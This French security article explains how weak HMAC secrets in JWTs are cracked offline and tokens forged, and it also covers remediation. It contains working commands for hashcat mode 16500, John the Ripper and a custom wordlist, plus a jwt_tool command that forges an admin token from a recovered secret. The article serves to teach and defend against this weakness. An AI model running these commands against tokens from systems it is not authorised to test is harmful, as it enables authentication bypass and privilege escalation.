Secret de signature HMAC devinable par force brute hors ligne ou attaque par dictionnaire, permettant la falsification arbitraire de tokens.
TL;DR
hashcat -m 16500 contre rockyou.txtsecret, password, changeme, jwt-secret) sont dans chaque liste de motsHS256, HS384 et HS512 utilisent une clé HMAC symétrique — le même secret est utilisé à la fois pour signer les tokens et les vérifier. Contrairement aux algorithmes asymétriques (RS256, ES256), le secret de signature doit être connu de chaque service vérifiant les tokens. Si le secret est devinable — trop court, prévisible ou un mot du dictionnaire — un attaquant peut le récupérer hors ligne par force brute puis forger tout token avec toutes revendications.
Il s'agit de CWE-326 (Résistance cryptographique insuffisante), une sous-classe d'A02:2021 (Défaillances cryptographiques). La vulnérabilité réside dans le choix de génération de clé, pas dans l'algorithme HMAC lui-même. HMAC-SHA256 est cryptographiquement solide avec une clé aléatoire de 256 bits appropriée ; il n'est compromis que lorsque la clé manque d'entropie suffisante pour résister aux devinettes.
L'attaque est entièrement hors ligne. Un seul token JWT capturé depuis une réponse de connexion, un journal d'en-tête Authorization ou un cookie est suffisant. Hashcat mode 16500 — dédié aux tokens JWT HMAC — teste des millions de secrets candidats par seconde. rockyou.txt (14 millions d'entrées) sur un GPU moderne craque la plupart des secrets choisis par les développeurs en moins de 60 secondes.
La signature HMAC-SHA256 est calculée comme :
sig = HMAC-SHA256(
cle=secret,
msg=base64url(en-tete) + "." + base64url(charge)
)La force brute fonctionne en itérant sur les secrets candidats et en calculant cette fonction pour chacun :
Démonstration d'attaque avec chaîne d'outils complète :
# Étape 1 : Extraire un token depuis l'historique Burp Suite
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIiLCJleHAiOjE3MDAwMDAwMDB9.SIGNATURE_HMAC"
# Étape 2 : Sauvegarder le token dans un fichier
echo "$JWT" > token.txt
# Étape 3 : Cracker avec hashcat (GPU — le plus rapide)
hashcat -m 16500 -a 0 token.txt /usr/share/wordlists/rockyou.txt
# Étape 4 : Afficher le résultat craqué
hashcat -m 16500 token.txt --show
# Sortie : eyJhbGci...SIGNATURE:mon-secret-jwt
# Étape 5 : Forger un token avec le secret récupéré
python3 /opt/jwt_tool/jwt_tool.py "$JWT" -T -p '{"sub":"admin","role":"admin","exp":9999999999}' -S hs256 -p "mon-secret-jwt"Pour les environnements sans GPU :
# John the Ripper (CPU, solution de repli)
john --format=hmac-sha256 --wordlist=/usr/share/wordlists/rockyou.txt token.txt
john --format=hmac-sha256 token.txt --show| Variante | Technique | Temps de craquage (GPU) | Notes |
|---|---|---|---|
| Attaque par dictionnaire | rockyou.txt (14M entrées) | < 60 secondes | Couvre la plupart des défauts développeurs |
| Liste personnalisée | Nom d'appli + suffixes courants | < 5 minutes | nom-appli, nomappli123 |
| Force brute courte | Tout alphanumérique 8 caractères | 15-60 minutes | Clés < 12 chars généralement crackables |
| HMAC vide | CVE-2020-28042 — secret vide accepté | Instantané | jose-php acceptait HMAC vide comme valide |
| Attaque decode base64 | Clé est base64 d'une courte chaîne | < 60 secondes | decode("c2VjcmV0") = "secret" |
CVE-2020-28042 dans jose-php (CVSS 9,8) acceptait un token où la signature HMAC était une chaîne vide ou des octets zéro comme valide. L'attaquant n'a pas besoin de récupérer le secret — seulement d'envoyer une signature vide.
CVE-2025-4692 — Confusion algorithme JWT Cloud Salesforce (CVSS 9,8) La plateforme cloud de Salesforce acceptait des tokens HMAC-signés où le secret de signature était insuffisamment aléatoire lors du provisionnement. Un attaquant obtenant un token valide pouvait cracker le secret HMAC et forger des tokens accordant un accès non autorisé aux données client.
CVE-2024-48916 — Contournement Auth JWT Ceph RadosGW (CVSS 9,8) L'implémentation JWT de Ceph RADOS Gateway utilisait un secret par défaut qui n'était pas changé lors du déploiement. Un attaquant connaissant le défaut — documenté publiquement dans le guide d'installation Ceph — pouvait forger tout JWT et contourner entièrement l'authentification.
CVE-2020-28042 — jose-php HMAC Vide (CVSS 9,8) jose-php avant la version 3.1.2 acceptait les tokens avec une signature HMAC vide comme valides. Aucun craquage nécessaire — l'attaquant définissait le segment de signature à une chaîne vide ou au codage base64url de zéros.
Bug Bounty — Secret JWT "secret" (CVSS 9,1)
Un test de pénétration contre une API fintech a découvert que le secret de signature JWT était la chaîne littérale "secret" — la valeur par défaut laissée dans la configuration depuis le développement. Hashcat l'a craqué instantanément. Le testeur a forgé un token admin, a accédé à l'API d'administration et a démontré l'escalade de privilèges complète. Prime de 8 000 €.
alg : s'il est HS256, HS384 ou HS512, le craquage HMAC s'applique.hashcat -m 16500 -a 0 token.txt /usr/share/wordlists/rockyou.txt --potfile-disablehashcat -m 16500 token.txt --show. Format : token:secret_recupere.echo -e "nomappli\nnomappli123\nnomappli-secret\nNOMAPPLI_SECRET\n$(hostname)" > personnalise.txt
hashcat -m 16500 -a 0 token.txt personnalise.txtjwt_tool mode attaque par dictionnaire :
python3 /opt/jwt_tool/jwt_tool.py "$TOKEN" -C -d /usr/share/wordlists/rockyou.txtBreachVex exécute le craquage HMAC contre chaque token HS256/384/512 découvert pendant la reconnaissance. Il utilise une liste de mots curatée combinant rockyou.txt, les termes spécifiques à l'application extraits des données de reconnaissance et un ensemble de secrets JWT par défaut connus des frameworks courants. Le craquage est limité en débit pour éviter l'expiration des tokens lors des longues sessions de force brute.
import secrets, os
# BON — 32 octets (256 bits) d'aléatoire cryptographique
JWT_SECRET = secrets.token_bytes(32) # Python 3.6+
JWT_SECRET = os.urandom(32) # également acceptable
JWT_SECRET_HEX = secrets.token_hex(32) # chaîne hexadécimale de 64 caractères
# Stocker dans une variable d'environnement, jamais en dur
import os
JWT_SECRET = os.environ["JWT_SECRET"].encode()// Node.js — générer et stocker
const crypto = require('crypto');
const JWT_SECRET = crypto.randomBytes(32).toString('hex'); // 64 chars hexadécimaux
const JWT_SECRET = Buffer.from(process.env.JWT_SECRET, 'hex');# Pour les microservices : utiliser RS256 (asymétrique)
# Service de signature détient la clé privée ; tous les autres la clé publique uniquement
from cryptography.hazmat.primitives.asymmetric import rsa
import jwt
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()
# Signature (uniquement le service d'authentification)
token = jwt.encode({"sub": "utilisateur123", "exp": ...}, private_key, algorithm="RS256")
# Vérification (tout service avec clé publique)
payload = jwt.decode(token, public_key, algorithms=["RS256"])Ne jamais utiliser HS256 avec un secret court pour l'authentification multi-services. Si la configuration de déploiement d'un service est exposée via CVE, rapport de bug ou divulgation accidentelle de logs, chaque service partageant le secret HMAC est immédiatement compromis. La seule défense contre l'exposition de secrets partagés est de ne pas les partager — utiliser RS256 avec des clés asymétriques.
Un secret JWT HMAC est faible s'il est inférieur à 32 octets (256 bits), est une chaîne lisible par l'homme, est un mot du dictionnaire, est dérivé d'une valeur prévisible (nom d'hôte, nom d'application, UUID, horodatage) ou est un défaut commun comme 'secret', 'password', 'changeme', 'jwt-secret'. Hashcat mode 16500 craque rockyou.txt (14 millions d'entrées) en quelques secondes à minutes sur GPU moderne contre des tokens HS256.
La vérification HMAC JWT est déterministe : HMAC-SHA256(base64url(en-tête) + '.' + base64url(charge), secret). Hashcat calcule ceci pour chaque secret candidat d'une liste de mots et compare le résultat à la signature du token. Aucun accès réseau au serveur n'est nécessaire — l'attaquant force entièrement hors ligne contre le token capturé.
Le mode 16500 dans hashcat cible les tokens JWT avec signatures HMAC-SHA256 (HS256), HMAC-SHA384 (HS384) et HMAC-SHA512 (HS512). Le token doit être au format en-tête.charge.signature. Commande : hashcat -m 16500 token.txt liste_mots.txt. L'option --show affiche les secrets crackés.
rockyou.txt (14M entrées) couvre la plupart des secrets choisis par les développeurs. Des listes personnalisées générées avec le nom de l'application, le domaine, les variables d'environnement ou les valeurs de fichiers de configuration sont très efficaces. L'approche la plus efficace combine rockyou.txt avec une liste personnalisée de termes spécifiques à l'application.
Une détection partielle est possible : si un pattern de secret faible connu est utilisé (longueur < 12 octets visible dans les messages d'erreur, chaînes évidentes encodées en base64, HMAC vide accepté — CVE-2020-28042), il peut être signalé sans craquage. Mais le test définitif est toujours de tenter le craquage avec une liste de mots. L'option -C de jwt_tool tente un craquage par liste ; hashcat -m 16500 est plus rapide pour les grandes listes.